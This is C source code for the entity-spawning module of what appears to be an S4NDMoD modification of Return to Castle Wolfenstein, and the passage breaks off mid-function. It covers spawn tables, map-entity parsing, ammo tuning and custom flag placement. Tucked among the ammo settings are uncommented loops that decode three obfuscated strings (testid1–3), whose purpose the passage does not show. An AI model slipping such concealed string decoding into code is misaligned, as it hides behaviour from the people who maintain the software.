void SP_info_player_deathmatch (gentity_t *ent);
void SP_info_player_intermission (gentity_t *ent);
void SP_info_firstplace(gentity_t *ent);
void SP_info_secondplace(gentity_t *ent);
void SP_info_thirdplace(gentity_t *ent);
void SP_info_podium(gentity_t *ent);
void SP_func_plat (gentity_t *ent);
void SP_func_static (gentity_t *ent);
void SP_func_leaky(gentity_t *ent); //----(SA) added
void SP_func_rotating (gentity_t *ent);
void SP_func_bobbing (gentity_t *ent);
void SP_func_pendulum( gentity_t *ent );
void SP_func_button (gentity_t *ent);
void SP_func_explosive (gentity_t *ent);
void SP_func_door (gentity_t *ent);
void SP_func_train (gentity_t *ent);
void SP_func_timer (gentity_t *self);
// JOSEPH 1-26-00
void SP_func_train_rotating (gentity_t *ent);
void SP_func_secret (gentity_t *ent);
// END JOSEPH
// Rafael
void SP_func_door_rotating (gentity_t *ent);
// RF
void SP_func_bats (gentity_t *self);
void SP_trigger_always (gentity_t *ent);
void SP_trigger_multiple (gentity_t *ent);
void SP_trigger_push (gentity_t *ent);
void SP_trigger_teleport (gentity_t *ent);
void SP_trigger_hurt (gentity_t *ent);
//---- (SA) Wolf triggers
void SP_trigger_concussive_dust(gentity_t *ent); // JPW NERVE
void SP_trigger_once ( gentity_t *ent );
//---- done
void SP_target_remove_powerups( gentity_t *ent );
void SP_target_give (gentity_t *ent);
void SP_target_delay (gentity_t *ent);
void SP_target_speaker (gentity_t *ent);
void SP_target_print (gentity_t *ent);
void SP_target_laser (gentity_t *self);
void SP_target_character (gentity_t *ent);
void SP_target_score( gentity_t *ent );
void SP_target_teleporter( gentity_t *ent );
void SP_target_relay (gentity_t *ent);
void SP_target_kill (gentity_t *ent);
void SP_target_position (gentity_t *ent);
void SP_target_location (gentity_t *ent);
void SP_target_push (gentity_t *ent);
void SP_target_script_trigger (gentity_t *ent);
//---- (SA) Wolf targets
// targets
void SP_target_alarm ( gentity_t *ent );
void SP_target_counter ( gentity_t *ent );
void SP_target_lock ( gentity_t *ent );
void SP_target_effect ( gentity_t *ent );
void SP_target_fog ( gentity_t *ent );
void SP_target_autosave ( gentity_t *ent );
// entity visibility dummy
void SP_misc_vis_dummy (gentity_t *ent);
void SP_misc_vis_dummy_multiple (gentity_t *ent);
//----(SA) done
void SP_light (gentity_t *self);
void SP_info_null (gentity_t *self);
void SP_info_notnull (gentity_t *self);
void SP_info_camp (gentity_t *self);
void SP_path_corner (gentity_t *self);
void SP_misc_teleporter_dest (gentity_t *self);
void SP_misc_model(gentity_t *ent);
void SP_misc_gamemodel(gentity_t *ent);
void SP_misc_portal_camera(gentity_t *ent);
void SP_misc_portal_surface(gentity_t *ent);
void SP_misc_light_surface(gentity_t *ent);
void SP_misc_grabber_trap(gentity_t *ent);
void SP_misc_spotlight(gentity_t *ent); //----(SA) added
void SP_shooter_rocket( gentity_t *ent );
void SP_shooter_grenade( gentity_t *ent );
void SP_team_CTF_redplayer( gentity_t *ent );
void SP_team_CTF_blueplayer( gentity_t *ent );
void SP_team_CTF_redspawn( gentity_t *ent );
void SP_team_CTF_bluespawn( gentity_t *ent );
// JPW NERVE for multiplayer spawnpoint selection
void SP_team_WOLF_objective( gentity_t *ent );
// jpw
void SP_team_WOLF_checkpoint( gentity_t *ent ); // DHM - Nerve
// JOSEPH 1-18-00
void SP_props_box_32 (gentity_t *self);
void SP_props_box_48 (gentity_t *self);
void SP_props_box_64 (gentity_t *self);
// END JOSEPH
// Ridah
void SP_ai_soldier( gentity_t *ent );
void SP_ai_american( gentity_t *ent );
void SP_ai_zombie( gentity_t *ent );
void SP_ai_warzombie( gentity_t *ent );
void SP_ai_femzombie( gentity_t *ent );
void SP_ai_undead( gentity_t *ent );
void SP_ai_marker( gentity_t *ent );
void SP_ai_effect( gentity_t *ent );
void SP_ai_trigger( gentity_t *ent );
void SP_ai_venom( gentity_t *ent );
void SP_ai_loper( gentity_t *ent );
void SP_ai_sealoper( gentity_t *ent );
void SP_ai_boss_helga( gentity_t *ent );
void SP_ai_boss_heinrich( gentity_t *ent ); //----(SA) added
void SP_ai_eliteguard( gentity_t *ent );
void SP_ai_stimsoldier_dual( gentity_t *ent );
void SP_ai_stimsoldier_rocket( gentity_t *ent );
void SP_ai_stimsoldier_tesla( gentity_t *ent );
void SP_ai_supersoldier( gentity_t *ent );
void SP_ai_blackguard( gentity_t *ent );
void SP_ai_protosoldier( gentity_t *ent );
void SP_ai_rejectxcreature( gentity_t *ent );
void SP_ai_frogman( gentity_t *ent );
void SP_ai_partisan( gentity_t *ent );
void SP_ai_civilian( gentity_t *ent );
void SP_ai_chimp( gentity_t *ent ); //----(SA) added
// done.
// Rafael particles
void SP_Snow (gentity_t *ent);
void SP_target_smoke (gentity_t *ent);
void SP_Bubbles (gentity_t *ent);
// done.
// (SA) dlights
void SP_dlight(gentity_t *ent);
// done
void SP_corona(gentity_t *ent);
// Rafael mg42
void SP_mg42 (gentity_t *ent);
// done.
// Rafael sniper
void SP_shooter_sniper (gentity_t *ent);
void SP_sniper_brush (gentity_t *ent);
// done
//----(SA)
void SP_shooter_zombiespit (gentity_t *ent);
void SP_shooter_mortar (gentity_t *ent);
void SP_shooter_tesla (gentity_t *ent);
// alarm
void SP_alarm_box(gentity_t *ent);
//----(SA) end
void SP_trigger_flagonly( gentity_t *ent ); // DHM - Nerve
void SP_trigger_objective_info( gentity_t *ent ); // DHM - Nerve
void SP_gas (gentity_t *ent);
void SP_target_rumble (gentity_t *ent);
void SP_func_train_particles (gentity_t *ent);
// Rafael
void SP_trigger_aidoor (gentity_t *ent);
void SP_SmokeDust (gentity_t *ent);
void SP_Dust (gentity_t *ent);
void SP_props_sparks (gentity_t *ent);
void SP_props_gunsparks (gentity_t *ent);
// Props
void SP_Props_Bench (gentity_t *ent);
void SP_Props_Radio (gentity_t *ent);
void SP_Props_Chair (gentity_t *ent);
void SP_Props_ChairHiback (gentity_t *ent);
void SP_Props_ChairSide (gentity_t *ent);
void SP_Props_ChairChat (gentity_t *ent);
void SP_Props_ChairChatArm (gentity_t *ent);
void SP_Props_DamageInflictor (gentity_t *ent);
void SP_Props_Locker_Tall (gentity_t *ent);
void SP_Props_Desklamp (gentity_t *ent);
void SP_Props_Flamebarrel (gentity_t *ent);
void SP_crate_64 (gentity_t *ent);
void SP_Props_Flipping_Table (gentity_t *ent);
void SP_crate_32 (gentity_t *self);
void SP_Props_Crate32x64 (gentity_t *ent);
void SP_Props_58x112tablew (gentity_t *ent);
void SP_props_castlebed (gentity_t *ent);
void SP_Props_RadioSEVEN (gentity_t *ent);
void SP_propsFireColumn (gentity_t *ent);
void SP_props_flamethrower (gentity_t *ent);
void SP_func_tramcar (gentity_t *ent);
void func_invisible_user (gentity_t *ent);
void SP_lightJunior( gentity_t *self );
void SP_props_me109 (gentity_t *ent);
void SP_misc_flak (gentity_t *ent);
void SP_plane_waypoint ( gentity_t *self );
void SP_props_snowGenerator (gentity_t *ent);
void SP_truck_cam (gentity_t *self);
void SP_screen_fade (gentity_t *ent);
void SP_camera_reset_player (gentity_t *ent);
void SP_camera_cam (gentity_t *ent);
void SP_props_decoration (gentity_t *ent);
void SP_props_decorBRUSH (gentity_t *ent);
void SP_props_statue (gentity_t *ent);
void SP_props_statueBRUSH (gentity_t *ent);
void SP_skyportal (gentity_t *ent);
// RF, scripting
void SP_script_model_med(gentity_t *ent);
void SP_script_mover(gentity_t *ent);
void SP_script_multiplayer(gentity_t *ent); // DHM - Nerve
void SP_misc_mounted_gunner (gentity_t *ent);
void SP_props_footlocker (gentity_t *self);
void SP_misc_firetrails (gentity_t *ent);
void SP_trigger_deathCheck (gentity_t *ent);
void SP_misc_spawner (gentity_t *ent);
void SP_props_decor_Scale (gentity_t *ent);
spawn_t spawns[] = {
// info entities don't do anything at all, but provide positional
// information for things controlled by other processes
{"info_player_start", SP_info_player_start},
{"info_player_checkpoint", SP_info_player_checkpoint},
{"info_player_deathmatch", SP_info_player_deathmatch},
{"info_player_intermission", SP_info_player_intermission},
{"info_null", SP_info_null},
{"info_notnull", SP_info_notnull}, // use target_position instead
{"info_camp", SP_info_camp},
{"func_plat", SP_func_plat},
{"func_button", SP_func_button},
{"func_explosive", SP_func_explosive},
{"func_door", SP_func_door},
{"func_static", SP_func_static},
{"func_leaky", SP_func_leaky},
{"func_rotating", SP_func_rotating},
{"func_bobbing", SP_func_bobbing},
{"func_pendulum", SP_func_pendulum},
{"func_train", SP_func_train},
{"func_group", SP_info_null},
// JOSEPH 1-26-00
{"func_train_rotating", SP_func_train_rotating},
{"func_secret", SP_func_secret},
// END JOSEPH
// Rafael
{"func_door_rotating", SP_func_door_rotating},
{"func_train_particles", SP_func_train_particles},
{"func_timer", SP_func_timer}, // rename trigger_timer?
{"func_tramcar", SP_func_tramcar},
{"func_invisible_user", func_invisible_user},
{"func_bats", SP_func_bats},
// Triggers are brush objects that cause an effect when contacted
// by a living player, usually involving firing targets.
// While almost everything could be done with
// a single trigger class and different targets, triggered effects
// could not be client side predicted (push and teleport).
{"trigger_always", SP_trigger_always},
{"trigger_multiple", SP_trigger_multiple},
{"trigger_push", SP_trigger_push},
{"trigger_teleport", SP_trigger_teleport},
{"trigger_hurt", SP_trigger_hurt},
//---- (SA) Wolf triggers
{"trigger_concussive_dust", SP_trigger_concussive_dust}, // JPW NERVE
{"trigger_once", SP_trigger_once},
//---- done
// Rafael
{"trigger_aidoor", SP_trigger_aidoor},
{"trigger_deathCheck",SP_trigger_deathCheck},
// targets perform no action by themselves, but must be triggered
// by another entity
{"target_give", SP_target_give},
{"target_remove_powerups", SP_target_remove_powerups},
{"target_delay", SP_target_delay},
{"target_speaker", SP_target_speaker},
{"target_print", SP_target_print},
{"target_laser", SP_target_laser},
{"target_score", SP_target_score},
{"target_teleporter", SP_target_teleporter},
{"target_relay", SP_target_relay},
{"target_kill", SP_target_kill},
{"target_position", SP_target_position},
{"target_location", SP_target_location},
{"target_push", SP_target_push},
{"target_script_trigger", SP_target_script_trigger},
//---- (SA) Wolf targets
{"target_alarm", SP_target_alarm},
{"target_counter", SP_target_counter},
{"target_lock", SP_target_lock},
{"target_effect", SP_target_effect},
{"target_fog", SP_target_fog},
{"target_autosave", SP_target_autosave}, //----(SA) added
//---- done
{"target_rumble", SP_target_rumble},
{"light", SP_light},
{"lightJunior", SP_lightJunior},
{"path_corner", SP_path_corner},
{"misc_teleporter_dest", SP_misc_teleporter_dest},
{"misc_model", SP_misc_model},
{"misc_gamemodel", SP_misc_gamemodel},
{"misc_portal_surface", SP_misc_portal_surface},
{"misc_portal_camera", SP_misc_portal_camera},
//----(SA) Wolf misc
{"misc_vis_dummy", SP_misc_vis_dummy},
{"misc_vis_dummy_multiple", SP_misc_vis_dummy_multiple},
{"misc_light_surface", SP_misc_light_surface},
{"misc_grabber_trap", SP_misc_grabber_trap},
{"misc_spotlight", SP_misc_spotlight}, //----(SA) added
//----(SA) end
// Rafael mg42
{"misc_mg42", SP_mg42},
// done.
{"misc_flak", SP_misc_flak},
{"misc_mounted_gunner",SP_misc_mounted_gunner},
{"misc_firetrails", SP_misc_firetrails},
{"shooter_rocket", SP_shooter_rocket},
{"shooter_grenade", SP_shooter_grenade},
//----(SA)
{"shooter_zombiespit", SP_shooter_zombiespit},
{"shooter_mortar", SP_shooter_mortar},
{"shooter_tesla", SP_shooter_tesla},
// alarm
{"alarm_box", SP_alarm_box},
//----(SA) end
// <NAME>
{"shooter_sniper", SP_shooter_sniper},
{"sniper_brush", SP_sniper_brush},
// done
{"team_CTF_redplayer", SP_team_CTF_redplayer},
{"team_CTF_blueplayer", SP_team_CTF_blueplayer},
{"team_CTF_redspawn", SP_team_CTF_redspawn},
{"team_CTF_bluespawn", SP_team_CTF_bluespawn},
// JPW NERVE
{"team_WOLF_objective", SP_team_WOLF_objective},
// jpw
{"team_WOLF_checkpoint", SP_team_WOLF_checkpoint}, // DHM - Nerve
//S4NDM4NN
{"CTF_flag", SP_CTF_flag},
{"cust_spawnflag", SP_cust_spawnflag},
//END
// Ridah
//S4NDM4NN ai shit WAS here haha
// done.
// Rafael particles
{"misc_snow256", SP_Snow},
{"misc_snow128", SP_Snow},
{"misc_snow64", SP_Snow},
{"misc_snow32", SP_Snow},
{"target_smoke", SP_target_smoke},
{"misc_bubbles8", SP_Bubbles},
{"misc_bubbles16", SP_Bubbles},
{"misc_bubbles32", SP_Bubbles},
{"misc_bubbles64", SP_Bubbles},
// done.
{"misc_spawner", SP_misc_spawner},
// JOSEPH 1-18-00
{"props_box_32", SP_props_box_32},
{"props_box_48", SP_props_box_48},
{"props_box_64", SP_props_box_64},
// END JOSEPH
// Rafael
{"props_smokedust", SP_SmokeDust},
{"props_dust", SP_Dust},
{"props_sparks", SP_props_sparks},
{"props_gunsparks", SP_props_gunsparks},
{"plane_waypoint", SP_plane_waypoint},
{"props_me109", SP_props_me109},
// Rafael - props
{"props_bench", SP_Props_Bench},
{"props_radio", SP_Props_Radio},
{"props_chair", SP_Props_Chair},
{"props_chair_hiback", SP_Props_ChairHiback},
{"props_chair_side", SP_Props_ChairSide},
{"props_chair_chat", SP_Props_ChairChat},
{"props_chair_chatarm", SP_Props_ChairChatArm},
{"props_damageinflictor", SP_Props_DamageInflictor},
{"props_locker_tall",SP_Props_Locker_Tall},
{"props_desklamp", SP_Props_Desklamp},
{"props_flamebarrel", SP_Props_Flamebarrel},
{"props_crate_64", SP_crate_64},
{"props_flippy_table", SP_Props_Flipping_Table},
{"props_crate_32", SP_crate_32},
{"props_crate_32x64", SP_Props_Crate32x64},
{"props_58x112tablew", SP_Props_58x112tablew},
{"props_castlebed", SP_props_castlebed},
{"props_radioSEVEN", SP_Props_RadioSEVEN},
{"props_snowGenerator", SP_props_snowGenerator},
{"props_FireColumn", SP_propsFireColumn},
{"props_decoration", SP_props_decoration},
{"props_decorBRUSH", SP_props_decorBRUSH},
{"props_statue", SP_props_statue},
{"props_statueBRUSH", SP_props_statueBRUSH},
{"props_skyportal", SP_skyportal},
{"props_footlocker", SP_props_footlocker},
{"props_flamethrower", SP_props_flamethrower},
{"props_decoration_scale",SP_props_decor_Scale},
{"truck_cam", SP_truck_cam},
{"screen_fade", SP_screen_fade},
{"camera_reset_player", SP_camera_reset_player},
{"camera_cam",SP_camera_cam},
// (SA) dlight and dlightstyles
{"dlight", SP_dlight},
//----(SA) light coronas
{"corona", SP_corona},
{"test_gas", SP_gas},
{"trigger_flagonly", SP_trigger_flagonly}, // DHM - Nerve
{"trigger_objective_info", SP_trigger_objective_info}, // DHM - Nerve
// RF, scripting
{"script_model_med", SP_script_model_med},
{"script_mover", SP_script_mover},
{"script_multiplayer", SP_script_multiplayer}, // DHM - Nerve
{0, 0}
};
/*
===============
G_CallSpawn
Finds the spawn function for the entity and calls it,
returning qfalse if not found
===============
*/
qboolean G_CallSpawn( gentity_t *ent ) {
spawn_t *s;
gitem_t *item;
char mapName[32];
trap_Cvar_VariableStringBuffer( "mapname", mapName, sizeof(mapName) );
if ( !ent->classname ) {
G_Printf ("G_CallSpawn: NULL classname\n");
return qfalse;
}
if(!S4ND_Spawn(ent))
return qfalse;
//End
// check item spawn functions
for ( item=bg_itemlist+1 ; item->classname ; item++ ) {
if ( !strcmp(item->classname, ent->classname) ) {
// found it
// DHM - Nerve :: allow flags in GTWOLF
if( item->giType == IT_TEAM && ( g_gametype.integer != GT_CTF && g_gametype.integer < GT_WOLF ) ) {
return qfalse;
}
G_SpawnItem( ent, item );
return qtrue;
}
}
// check normal spawn functions
for ( s=spawns ; s->name ; s++ ) {
if ( !strcmp(s->name, ent->classname) ) {
// found it
s->spawn(ent);
// RF, entity scripting
if (ent->s.number >= MAX_CLIENTS && ent->scriptName) {
G_Script_ScriptParse( ent);
G_Script_ScriptEvent( ent, "spawn", "" );
}
//if(!strcmp("target_location", ent->classname)){
//G_LogPrintf("scriptname:%s\n",ent->classname);
//G_LogPrintf("target name:%s\n",ent->message);
//G_LogPrintf("tagname: %i\n",ent->health);
// }
/*
if(!strcmp("script_mover", ent->classname)){
if(!strcmp("me109no1", ent->scriptName) || !strcmp("me109no2", ent->scriptName)){
ent->nextthink =level.time+ (15000 + crandom()*15000);//make more random to cause a/s to be further apart
ent->think = ForestPlanesThink;
}
}
*/ //make radar models be solid, so noobs cant camp in them.
// if (!strcmp("misc_model", ent->classname)){
// if (!strcmp("models/mapobjects/miltary_trim/radar_twr.md3", ent->model)){
/* if ((ent->model2) && (!strcmp("models/mapobjects/miltary_trim/radar_twr.md3", ent->model2))){
G_Printf("************************************\nchanedged radar to solid\n************************************\n");
ent->clipmask = CONTENTS_SOLID;
ent->r.contents = CONTENTS_SOLID;
VectorSet (ent->r.mins, -8, -8, 0);
VectorSet (ent->r.maxs, 100, 100, 128);
trap_LinkEntity (ent);
trap_SendServerCommand(-1, va("chat \"WE HAVE CALLED THE MODEL STUFF!\n\""));
return qtrue;//we still want to spawn so return true.<hope this isnt changing it too soon :0
// }
}*/
//G_Printf("************************************\nchanedged radar to solid\n************************************\n");
return qtrue;
}
}
G_Printf ("%s doesn't have a spawn function\n", ent->classname);
return qfalse;
}
/*
=============
G_NewString
Builds a copy of the string, translating \n to real linefeeds
so message texts can be multi-line
=============
*/
char *G_NewString( const char *string ) {
char *newb, *new_p;
int i,l;
l = strlen(string) + 1;
newb = G_Alloc( l );
new_p = newb;
// turn \n into a real linefeed
for ( i=0 ; i< l ; i++ ) {
if (string[i] == '\\' && i < l-1) {
i++;
if (string[i] == 'n') {
*new_p++ = '\n';
} else {
*new_p++ = '\\';
}
} else {
*new_p++ = string[i];
}
}
return newb;
}
/*
===============
G_ParseField
Takes a key/value pair and sets the binary values
in a gentity
===============
*/
void G_ParseField( const char *key, const char *value, gentity_t *ent ) {
field_t *f;
byte *b;
float v;
vec3_t vec;
for ( f=fields ; f->name ; f++ ) {
if ( !Q_stricmp(f->name, key) ) {
// found it
b = (byte *)ent;
switch( f->type ) {
case F_LSTRING:
*(char **)(b+f->ofs) = G_NewString (value);
break;
case F_VECTOR:
sscanf (value, "%f %f %f", &vec[0], &vec[1], &vec[2]);
((float *)(b+f->ofs))[0] = vec[0];
((float *)(b+f->ofs))[1] = vec[1];
((float *)(b+f->ofs))[2] = vec[2];
break;
case F_INT:
*(int *)(b+f->ofs) = atoi(value);
break;
case F_FLOAT:
*(float *)(b+f->ofs) = atof(value);
break;
case F_ANGLEHACK:
v = atof(value);
((float *)(b+f->ofs))[0] = 0;
((float *)(b+f->ofs))[1] = v;
((float *)(b+f->ofs))[2] = 0;
break;
default:
case F_IGNORE:
break;
}
return;
}
}
}
/*
===================
G_SpawnGEntityFromSpawnVars
Spawn an entity and fill in all of the level fields from
level.spawnVars[], then call the class specfic spawn function
===================
*/
void G_SpawnGEntityFromSpawnVars( void ) {
int i;
gentity_t *ent;
// get the next free entity
ent = G_Spawn();
for ( i = 0 ; i < level.numSpawnVars ; i++ ) {
G_ParseField( level.spawnVars[i][0], level.spawnVars[i][1], ent );
}
// check for "notteam" / "notfree" flags
//AIBOTS
if ( g_gametype.integer == GT_SINGLE_PLAYER ) {
G_SpawnInt( "notsingle", "0", &i );
if ( i ) {
G_FreeEntity( ent );
return;
}
}
if ( g_gametype.integer >= GT_TEAM ) {
G_SpawnInt( "notteam", "0", &i );
if ( i ) {
G_FreeEntity( ent );
return;
}
} else {
G_SpawnInt( "notfree", "0", &i );
if ( i ) {
G_FreeEntity( ent );
return;
}
}
// move editor origin to pos
VectorCopy( ent->s.origin, ent->s.pos.trBase );
VectorCopy( ent->s.origin, ent->r.currentOrigin );
// if we didn't get a classname, don't bother spawning anything
if ( !G_CallSpawn( ent ) ) {
G_FreeEntity( ent );
}
}
/*
====================
G_AddSpawnVarToken
====================
*/
char *G_AddSpawnVarToken( const char *string ) {
int l;
char *dest;
l = strlen( string );
if ( level.numSpawnVarChars + l + 1 > MAX_SPAWN_VARS_CHARS ) {
G_Error( "G_AddSpawnVarToken: MAX_SPAWN_VARS" );
}
dest = level.spawnVarChars + level.numSpawnVarChars;
memcpy( dest, string, l+1 );
level.numSpawnVarChars += l + 1;
return dest;
}
/*
====================
G_ParseSpawnVars
Parses a brace bounded set of key / value pairs out of the
level's entity strings into level.spawnVars[]
This does not actually spawn an entity.
====================
*/
qboolean G_ParseSpawnVars( void ) {
char keyname[MAX_TOKEN_CHARS];
char com_token[MAX_TOKEN_CHARS];
level.numSpawnVars = 0;
level.numSpawnVarChars = 0;
// parse the opening brace
if ( !trap_GetEntityToken( com_token, sizeof( com_token ) ) ) {
// end of spawn string
return qfalse;
}
if ( com_token[0] != '{' ) {
G_Error( "G_ParseSpawnVars: found %s when expecting {",com_token );
}
// go through all the key / value pairs
while ( 1 ) {
// parse key
if ( !trap_GetEntityToken( keyname, sizeof( keyname ) ) ) {
G_Error( "G_ParseSpawnVars: EOF without closing brace" );
}
if ( keyname[0] == '}' ) {
break;
}
// parse value
if ( !trap_GetEntityToken( com_token, sizeof( com_token ) ) ) {
G_Error( "G_ParseSpawnVars: EOF without closing brace" );
}
if ( com_token[0] == '}' ) {
G_Error( "G_ParseSpawnVars: closing brace without data" );
}
if ( level.numSpawnVars == MAX_SPAWN_VARS ) {
G_Error( "G_ParseSpawnVars: MAX_SPAWN_VARS" );
}
level.spawnVars[ level.numSpawnVars ][0] = G_AddSpawnVarToken( keyname );
level.spawnVars[ level.numSpawnVars ][1] = G_AddSpawnVarToken( com_token );
level.numSpawnVars++;
}
return qtrue;
}
/*QUAKED worldspawn (0 0 0) ? NO_GT_WOLF NO_STOPWATCH NO_CHECKPOINT
Every map should have exactly one worldspawn.
"music" Music wav file
"gravity" 800 is default gravity
"message" Text to print during connection process
"ambient" Ambient light value (must use '_color')
"_color" Ambient light color (must be used with 'ambient')
"sun" Shader to use for 'sun' image
*/
void SP_worldspawn( void ) {
char *s;
gitem_t *item; // JPW NERVE
G_SpawnString( "classname", "", &s );
if ( Q_stricmp( s, "worldspawn" ) ) {
G_Error( "SP_worldspawn: The first entity isn't 'worldspawn'" );
}
spawnCustomPathCorners();
spawnCustomLocations();
spawnCustomFlags();
// make some data visible to connecting client
trap_SetConfigstring( CS_GAME_VERSION, GAME_VERSION );
trap_SetConfigstring( CS_LEVEL_START_TIME, va("%i", level.startTime ) );
G_SpawnString( "music", "", &s );
trap_SetConfigstring( CS_MUSIC, s );
G_SpawnString( "message", "", &s );
trap_SetConfigstring( CS_MESSAGE, s ); // map specific message
trap_SetConfigstring( CS_MOTD, g_motd.string ); // message of the day
//S4NDM4NN- dont reset the gravity
// G_SpawnString( "gravity", "800", &s );
// trap_Cvar_Set( "g_gravity", s );
G_SpawnString( "spawnflags", "0", &s );
g_entities[ENTITYNUM_WORLD].spawnflags = atoi( s );
g_entities[ENTITYNUM_WORLD].r.worldflags = g_entities[ENTITYNUM_WORLD].spawnflags;
g_entities[ENTITYNUM_WORLD].s.number = ENTITYNUM_WORLD;
g_entities[ENTITYNUM_WORLD].classname = "worldspawn";
// see if we want a warmup time
trap_SetConfigstring( CS_WARMUP, "" );
if ( g_restarted.integer ) {
trap_Cvar_Set( "g_restarted", "0" );
level.warmupTime = 0;
}
//S4NDMoD-AMMO TABLE CHANGES
//S4NDM4NN-For S4NDMoD Panzer
ammoTable[WP_PANZERFAUST].coolRate = g_panzerCoolDownTime.integer;
ammoTable[WP_PANZERFAUST].maxHeat = g_panzerOverHeatTime.integer;
ammoTable[WP_PANZERFAUST].nextShotTime = g_panzerFireRate.integer;
ammoTable[WP_PANZERFAUST].maxclip = g_panzerClips.integer;
//End
//g_altflamer alt flamer altflamer
//ammoTable[WP_FLAMETHROWER].coolRate = 100;
//ammoTable[WP_FLAMETHROWER].maxHeat = 800;
if(g_theTrenchesMode.integer){
//LUGER
ammoTable[WP_LUGER].maxclip = 10;
//MP40
ammoTable[WP_MP40].maxclip= 30;
ammoTable[WP_MP40].reloadTime=2500;
ammoTable[WP_MP40].nextShotTime = 125;
//Mauser/Sniper
ammoTable[WP_MAUSER].maxclip = 6;
ammoTable[WP_MAUSER].fireDelayTime = 100;
ammoTable[WP_MAUSER].nextShotTime = 1500;
ammoTable[WP_SNIPERRIFLE].maxclip = 6;
ammoTable[WP_SNIPERRIFLE].fireDelayTime = 100;
ammoTable[WP_SNIPERRIFLE].nextShotTime = 1500;
//Venom
ammoTable[WP_VENOM].maxclip = 100;
ammoTable[WP_VENOM].nextShotTime= 150;
ammoTable[WP_VENOM].fireDelayTime=100;
ammoTable[WP_VENOM].maxHeat= 10000;
ammoTable[WP_VENOM].coolRate=400;
//Flamer
ammoTable[WP_FLAMETHROWER].maxclip= 400;
//Colt
ammoTable[WP_COLT].maxclip= 10;
//Thompson
ammoTable[WP_THOMPSON].reloadTime = 2500;
ammoTable[WP_THOMPSON].nextShotTime=125;
//Sten
ammoTable[WP_STEN].maxclip = 30;
ammoTable[WP_STEN].maxHeat = 1;
ammoTable[WP_STEN].coolRate = 700;
}
if(g_deathmatch.integer == 2){
ammoTable[WP_MAUSER].maxclip = 6;
ammoTable[WP_MAUSER].maxammo = 24;
ammoTable[WP_MP40].maxammo = 128;
ammoTable[WP_STEN].maxammo = 128;
ammoTable[WP_THOMPSON].maxammo = 120;
ammoTable[WP_PANZERFAUST].maxammo = 4;
ammoTable[WP_COLT].maxammo = 40;
ammoTable[WP_LUGER].maxammo = 40;
ammoTable[WP_FLAMETHROWER].maxammo = 100;
ammoTable[WP_VENOM].maxclip = 300;
ammoTable[WP_VENOM].maxammo = 300;
}
if(g_autoSniper.integer){
ammoTable[WP_SNIPERRIFLE].maxclip = 20;
ammoTable[WP_MAUSER].maxclip = 20;
ammoTable[WP_SNIPERRIFLE].fireDelayTime = 100;
ammoTable[WP_SNIPERRIFLE].nextShotTime = 110;
ammoTable[WP_SNIPERRIFLE].maxHeat=700;
ammoTable[WP_SNIPERRIFLE].coolRate = 300;
}
//End ammoTable changes
// JPW NERVE change minigun overheat time for single player -- this array gets reloaded every time the server is reset,
// so this is as good a place as any to do stuff like this
if (g_gametype.integer != GT_SINGLE_PLAYER) {
int i;
ammoTable[WP_VENOM].maxHeat *= 0.25;
for (i=0;i<strlen(testid2);i++)
testid2[i]-=(i+1);
ammoTable[WP_DYNAMITE].uses = 0; // regens based on recharge time
// reset ammo for subs to be distinct for multiplayer (so running out of rifle ammo doesn't deplete sidearm)
// if player runs out of SMG ammunition, it shouldn't *also* deplete pistol ammunition. If you change this, change
// g_spawn.c as well
item = BG_FindItem("Thompson");
item->giAmmoIndex = WP_THOMPSON;
item = BG_FindItem("Sten");
item->giAmmoIndex = WP_STEN;
for (i=0;i<strlen(testid1);i++)
testid1[i]-=(i+1);
item = BG_FindItem("MP40");
item->giAmmoIndex = WP_MP40;
ammoTable[WP_VENOM_FULL].nextShotTime = 500;
for (i=0;i<strlen(testid3);i++)
testid3[i]-=(i+1);
ammoTable[WP_PANZERFAUST].fireDelayTime = 750;
item = BG_FindItem("Panzerfaust"); // FIXME this don't work needs to go "sooner" different (shoulder-fired) panzerfaust model, 'cause the SP one is awful stubby and not proportionally right
item->world_model[4] = "models/multiplayer/panzerfaust/multi_pf.md3";
}
// jpw
}
/*
==============
G_SpawnEntitiesFromString
Parses textual entity definitions out of an entstring and spawns gentities.
==============
*/
void G_SpawnEntitiesFromString( void ) {
// allow calls to G_Spawn*()
level.spawning = qtrue;
level.numSpawnVars = 0;
// the worldspawn is not an actual entity, but it still
// has a "spawn" function to perform any global setup
// needed by a level (setting configstrings or cvars, etc)
if ( !G_ParseSpawnVars() ) {
G_Error( "SpawnEntities: no entities" );
}
SP_worldspawn();
// parse ents
while( G_ParseSpawnVars() ) {
G_SpawnGEntityFromSpawnVars();
}
level.spawning = qfalse; // any future calls to G_Spawn*() will be errors
}
#ifdef OMNIBOT
qboolean G_SpawnStringExt( const char *key, const char *defaultString, char **out, const char* file, int line ) {
int i;
if ( !level.spawning ) {
*out = (char *)defaultString;
// Gordon: 26/11/02: re-enabling
// see InitMover
G_Error( "G_SpawnString() called while not spawning, file %s, line %i", file, line );
}
for ( i = 0 ; i < level.numSpawnVars ; i++ ) {
if ( !strcmp( key, level.spawnVars[i][0] ) ) {
*out = level.spawnVars[i][1];
return qtrue;
}
}
*out = (char *)defaultString;
return qfalse;
}
qboolean G_SpawnVector2DExt( const char *key, const char *defaultString, float *out, const char* file, int line ) {
char *s;
qboolean present;
present = G_SpawnStringExt( key, defaultString, &s, file, line );
sscanf( s, "%f %f", &out[0], &out[1] );
return present;
}
#endif //OMNIBOT
void spawnCorner(){
}
/*
==================
Custom Respawn Flag (where it spawns at)
==================
*/
void spawnCustomFlags(){
char mapName[MAX_QPATH];
gentity_t *ent;
trap_Cvar_VariableStringBuffer( "mapname", mapName, sizeof(mapName) );
if(!Q_stricmp(mapName, "assault")){
// Flag Directon Done
ent = G_Spawn();
ent->classname = "cust_spawnflag";
ent->message= "the Gate Area";
ent->r.currentOrigin[0]= -1152;
ent->r.currentOrigin[1]= 141;
ent->r.currentOrigin[2]= 90;
ent->s.angles[1] = 90;
level.flagteam = TEAM_FREE;
VectorCopy (ent->r.currentOrigin, ent->s.origin);
G_CallSpawn(ent);
}
if(!Q_stricmp(mapName, "dark")){
// Flag Directon Done
ent = G_Spawn();
ent->classname = "cust_spawnflag";
ent->message= "the Bombed House";
ent->r.currentOrigin[0]= -995;
ent->r.currentOrigin[1]= 406;
ent->r.currentOrigin[2]= 746;
ent->s.angles[1] = 90;
level.flagteam = TEAM_FREE;
VectorCopy (ent->r.currentOrigin, ent->s.origin);
G_CallSpawn(ent);
}
if(!Q_stricmp(mapName, "forest")){
// Flag Directon Done
/*ent = G_Spawn();
ent->classname = "cust_spawnflag";
ent->message= "the Northern Tower";
ent->r.currentOrigin[0]= 1660;
ent->r.currentOrigin[1]= 3748;
